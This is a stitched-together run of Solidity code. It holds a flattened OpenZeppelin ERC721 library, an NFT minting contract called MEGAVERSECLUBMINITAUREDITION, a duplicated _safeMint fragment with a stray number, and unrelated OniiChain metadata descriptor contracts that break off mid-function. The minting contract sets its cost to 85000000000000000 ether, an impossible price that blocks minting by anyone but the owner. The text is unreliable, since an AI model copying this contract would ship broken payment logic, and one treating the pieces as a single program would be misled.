{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract MEGAVERSECLUBMINITAUREDITION is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost =85000000000000000 ether; uint256 public maxSupply = 5000; uint256 public maxMintAmount =10; bool public paused = false; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is forwarded in {IERC721Receiver-onERC721Received} to contract recipients./
function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); }
439,951
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./interfaces/IOniiChainDescriptor.sol"; import "./interfaces/IOniiChain.sol"; import "./libraries/NFTDescriptor.sol"; import "./libraries/DetailHelper.sol"; import "base64-sol/base64.sol"; /// @title Describes Onii /// @notice Produces a string containing the data URI for a JSON metadata string contract OniiChainDescriptor is IOniiChainDescriptor { /// @dev Max value for defining probabilities uint256 internal constant MAX = 100000; uint256[] internal BACKGROUND_ITEMS = [4000, 3400, 3080, 2750, 2400, 1900, 1200, 0]; uint256[] internal SKIN_ITEMS = [2000, 1000, 0]; uint256[] internal NOSE_ITEMS = [10, 0]; uint256[] internal MARK_ITEMS = [50000, 40000, 31550, 24550, 18550, 13550, 9050, 5550, 2550, 550, 50, 10, 0]; uint256[] internal EYEBROW_ITEMS = [65000, 40000, 20000, 10000, 4000, 0]; uint256[] internal MASK_ITEMS = [20000, 14000, 10000, 6000, 2000, 1000, 100, 0]; uint256[] internal EARRINGS_ITEMS = [50000, 38000, 28000, 20000, 13000, 8000, 5000, 2900, 1000, 100, 30, 0]; uint256[] internal ACCESSORY_ITEMS = [ 50000, 43000, 36200, 29700, 23400, 17400, 11900, 7900, 4400, 1400, 400, 200, 11, 1, 0 ]; uint256[] internal MOUTH_ITEMS = [ 80000, 63000, 48000, 36000, 27000, 19000, 12000, 7000, 4000, 2000, 1000, 500, 50, 0 ]; uint256[] internal HAIR_ITEMS = [ 97000, 94000, 91000, 88000, 85000, 82000, 79000, 76000, 73000, 70000, 67000, 64000, 61000, 58000, 55000, 52000, 49000, 46000, 43000, 40000, 37000, 34000, 31000, 28000, 25000, 22000, 19000, 16000, 13000, 10000, 3000, 1000, 0 ]; uint256[] internal EYE_ITEMS = [ 98000, 96000, 94000, 92000, 90000, 88000, 86000, 84000, 82000, 80000, 78000, 76000, 74000, 72000, 70000, 68000, 60800, 53700, 46700, 39900, 33400, 27200, 21200, 15300, 10600, 6600, 3600, 2600, 1700, 1000, 500, 100, 10, 0 ]; /// @inheritdoc IOniiChainDescriptor function tokenURI(IOniiChain oniiChain, uint256 tokenId) external view override returns (string memory) { NFTDescriptor.SVGParams memory params = getSVGParams(oniiChain, tokenId); params.background = getBackgroundId(params); string memory image = Base64.encode(bytes(NFTDescriptor.generateSVGImage(params))); string memory name = NFTDescriptor.generateName(params, tokenId); string memory description = NFTDescriptor.generateDescription(params); string memory attributes = NFTDescriptor.generateAttributes(params); return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( bytes( abi.encodePacked( '{"name":"', name, '", "description":"', description, '", "attributes":', attributes, ', "image": "', "data:image/svg+xml;base64,", image, '"}' ) ) ) ) ); } /// @inheritdoc IOniiChainDescriptor function generateHairId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, HAIR_ITEMS, this.generateHairId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateEyeId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, EYE_ITEMS, this.generateEyeId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateEyebrowId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, EYEBROW_ITEMS, this.generateEyebrowId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateNoseId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, NOSE_ITEMS, this.generateNoseId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateMouthId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, MOUTH_ITEMS, this.generateMouthId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateMarkId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, MARK_ITEMS, this.generateMarkId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateEarringsId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, EARRINGS_ITEMS, this.generateEarringsId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateAccessoryId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, ACCESSORY_ITEMS, this.generateAccessoryId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateMaskId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, MASK_ITEMS, this.generateMaskId.selector, tokenId); } /// @inheritdoc IOniiChainDescriptor function generateSkinId(uint256 tokenId, uint256 seed) external view override returns (uint8) { return DetailHelper.generate(MAX, seed, SKIN_ITEMS, this.generateSkinId.selector, tokenId); } /// @dev Get SVGParams from OniiChain.Detail function getSVGParams(IOniiChain oniiChain, uint256 tokenId) private view returns (NFTDescriptor.SVGParams memory) { IOniiChain.Detail memory detail = oniiChain.details(tokenId); return NFTDescriptor.SVGParams({ hair: detail.hair, eye: detail.eye, eyebrow: detail.eyebrow, nose: detail.nose, mouth: detail.mouth, mark: detail.mark, earring: detail.earrings, accessory: detail.accessory, mask: detail.mask, skin: detail.skin, original: detail.original, background: 0, timestamp: detail.timestamp, creator: detail.creator }); } function getBackgroundId(NFTDescriptor.SVGParams memory params) private view returns (uint8) { uint256 score = itemScorePosition(params.hair, HAIR_ITEMS) + itemScoreProba(params.accessory, ACCESSORY_ITEMS) + itemScoreProba(params.earring, EARRINGS_ITEMS) + itemScoreProba(params.mask, MASK_ITEMS) + itemScorePosition(params.mouth, MOUTH_ITEMS) + (itemScoreProba(params.skin, SKIN_ITEMS) / 2) + itemScoreProba(params.skin, SKIN_ITEMS) + itemScoreProba(params.nose, NOSE_ITEMS) + itemScoreProba(params.mark, MARK_ITEMS) + itemScorePosition(params.eye, EYE_ITEMS) + itemScoreProba(params.eyebrow, EYEBROW_ITEMS); return DetailHelper.pickItems(score, BACKGROUND_ITEMS); } /// @dev Get item score based on his probability function itemScoreProba(uint8 item, uint256[] memory ITEMS) private pure returns (uint256) { uint256 raw = ((item == 1 ? MAX : ITEMS[item - 2]) - ITEMS[item - 1]); return ((raw >= 1000) ? raw * 6 : raw) / 1000; } /// @dev Get item score based on his index function itemScorePosition(uint8 item, uint256[] memory ITEMS) private pure returns (uint256) { uint256 raw = ITEMS[item - 1]; return ((raw >= 1000) ? raw * 6 : raw) / 1000; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./IOniiChain.sol"; /// @title Describes Onii via URI interface IOniiChainDescriptor { /// @notice Produces the URI describing a particular Onii (token id) /// @dev Note this URI may be a data: URI with the JSON contents directly inlined /// @param oniiChain The OniiChain contract /// @param tokenId The ID of the token for which to produce a description /// @return The URI of the ERC721-compliant metadata function tokenURI(IOniiChain oniiChain, uint256 tokenId) external view returns (string memory); /// @notice Generate randomly an ID for the hair item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the hair item id function generateHairId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the eye item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the eye item id function generateEyeId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the eyebrow item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the eyebrow item id function generateEyebrowId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the nose item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the nose item id function generateNoseId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the mouth item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the mouth item id function generateMouthId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the mark item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the mark item id function generateMarkId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the earrings item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the earrings item id function generateEarringsId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the accessory item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the accessory item id function generateAccessoryId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the mask item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the mask item id function generateMaskId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly the skin colors /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the skin item id function generateSkinId(uint256 tokenId, uint256 seed) external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; /// @title OniiChain NFTs Interface interface IOniiChain { /// @notice Details about the Onii struct Detail { uint8 hair; uint8 eye; uint8 eyebrow; uint8 nose; uint8 mouth; uint8 mark; uint8 earrings; uint8 accessory; uint8 mask; uint8 skin; bool original; uint256 timestamp; address creator; } /// @notice Returns the details associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the Onii /// @return detail memory function details(uint256 tokenId) external view returns (Detail memory detail); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./details/BackgroundDetail.sol"; import "./details/BodyDetail.sol"; import "./details/HairDetail.sol"; import "./details/MouthDetail.sol"; import "./details/NoseDetail.sol"; import "./details/EyesDetail.sol"; import "./details/EyebrowDetail.sol"; import "./details/MarkDetail.sol"; import "./details/AccessoryDetail.sol"; import "./details/EarringsDetail.sol"; import "./details/MaskDetail.sol"; import "./DetailHelper.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /// @notice Helper to generate SVGs library NFTDescriptor { struct SVGParams { uint8 hair; uint8 eye; uint8 eyebrow; uint8 nose; uint8 mouth; uint8 mark; uint8 earring; uint8 accessory; uint8 mask; uint8 background; uint8 skin; bool original; uint256 timestamp; address creator; } /// @dev Combine all the SVGs to generate the final image function generateSVGImage(SVGParams memory params) internal view returns (string memory) { return string( abi.encodePacked( generateSVGHead(), DetailHelper.getDetailSVG(address(BackgroundDetail), params.background), generateSVGFace(params), DetailHelper.getDetailSVG(address(EarringsDetail), params.earring), DetailHelper.getDetailSVG(address(HairDetail), params.hair), DetailHelper.getDetailSVG(address(MaskDetail), params.mask), DetailHelper.getDetailSVG(address(AccessoryDetail), params.accessory), generateCopy(params.original), "</svg>" ) ); } /// @dev Combine face items function generateSVGFace(SVGParams memory params) private view returns (string memory) { return string( abi.encodePacked( DetailHelper.getDetailSVG(address(BodyDetail), params.skin), DetailHelper.getDetailSVG(address(MarkDetail), params.mark), DetailHelper.getDetailSVG(address(MouthDetail), params.mouth), DetailHelper.getDetailSVG(address(NoseDetail), params.nose), DetailHelper.getDetailSVG(address(EyesDetail), params.eye), DetailHelper.getDetailSVG(address(EyebrowDetail), params.eyebrow) ) ); } /// @dev generate Json Metadata name function generateName(SVGParams memory params, uint256 tokenId) internal pure returns (string memory) { return string( abi.encodePacked( BackgroundDetail.getItemNameById(params.background), " Onii ", Strings.toString(tokenId) ) ); } /// @dev generate Json Metadata description function generateDescription(SVGParams memory params) internal pure returns (string memory) { return string( abi.encodePacked( "Generated by ", Strings.toHexString(uint256(uint160(params.creator))), " at ", Strings.toString(params.timestamp) ) ); } /// @dev generate SVG header function generateSVGHead() private pure returns (string memory) { return string( abi.encodePacked( '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"', ' viewBox="0 0 420 420" style="enable-background:new 0 0 420 420;" xml:space="preserve">' ) ); } /// @dev generate the "Copy" SVG if the onii is not the original function generateCopy(bool original) private pure returns (string memory) { return !original ? string( abi.encodePacked( '<g id="Copy">', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M239.5,300.6c-4.9,1.8-5.9,8.1,1.3,4.1"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M242.9,299.5c-2.6,0.8-1.8,4.3,0.8,4.2 C246.3,303.1,245.6,298.7,242.9,299.5"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M247.5,302.9c0.2-1.6-1.4-4-0.8-5.4 c0.4-1.2,2.5-1.4,3.2-0.3c0.1,1.5-0.9,2.7-2.3,2.5"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M250.6,295.4c1.1-0.1,2.2,0,3.3,0.1 c0.5-0.8,0.7-1.7,0.5-2.7"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M252.5,299.1c0.5-1.2,1.2-2.3,1.4-3.5"/>', "</g>" ) ) : ""; } /// @dev generate Json Metadata attributes function generateAttributes(SVGParams memory params) internal pure returns (string memory) { return string( abi.encodePacked( "[", getJsonAttribute("Body", BodyDetail.getItemNameById(params.skin), false), getJsonAttribute("Hair", HairDetail.getItemNameById(params.hair), false), getJsonAttribute("Mouth", MouthDetail.getItemNameById(params.mouth), false), getJsonAttribute("Nose", NoseDetail.getItemNameById(params.nose), false), getJsonAttribute("Eyes", EyesDetail.getItemNameById(params.eye), false), getJsonAttribute("Eyebrow", EyebrowDetail.getItemNameById(params.eyebrow), false), abi.encodePacked( getJsonAttribute("Mark", MarkDetail.getItemNameById(params.mark), false), 